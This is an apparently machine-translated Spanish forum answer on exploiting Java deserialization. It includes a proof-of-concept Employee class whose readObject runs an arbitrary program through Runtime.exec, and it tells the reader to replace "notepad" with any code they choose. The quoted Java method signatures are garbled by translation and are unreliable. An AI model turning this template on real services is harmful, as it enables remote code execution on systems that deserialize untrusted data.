Le sugiero que mire las vulnerabilidades públicas para saber cómo explotan la vulnerabilidad y luego haga una pregunta más específica sobre cualquier cosa que no entienda.
Como un lugar para comenzar, alguien hizo una página en github que resume todas las charlas. y guias. El exploit publicado de OpenNMS usando ysoserial es tan simple como lo vas a obtener.
Para explotar su programa de deserialización simple (asumiendo que se parece a el que hablan aquí )
La clase de empleado que dan se ve así:
public class Employee implements java.io.Serializable {
public String name;
public String address;
public transient int SSN;
public int number;
public void mailCheck() {
System.out.println("Mailing a check to " + name + " " + address);
}
}
La documentación de Java dice,
Clases que requieren un manejo especial durante la serialización y
El proceso de deserialización debe implementar métodos especiales con estos.
firmas exactas:
writeObject void privado (java.io.ObjectOutputStream out)
lanza IOException
privado void readObject (java.io.ObjectInputStream en)
lanza IOException, ClassNotFoundException;
Para convertir esto en un exploit, simplemente debe implementar un método especial de readObject:
Por lo tanto, cuando se deserializa la siguiente clase de empleado (recibida por su programa del usuario no confiable), el "manejo especial" es que ejecuta un programa arbitrario:
import java.io.*;
import java.util.*;
public class Employee implements java.io.Serializable {
public String name;
public String address;
public transient int SSN;
public int number;
public void mailCheck() {
System.out.println("Mailing a check to " + name + " " + address);
}
private void readObject(ObjectInputStream aInputStream) throws ClassNotFoundException, IOException {
Runtime rs = Runtime.getRuntime();
try {
rs.exec("notepad");
}
catch (IOException e) {
System.out.println(e);
}
aInputStream.defaultReadObject();
}
}
reemplace rs.exec ("bloc de notas") con el código de su elección.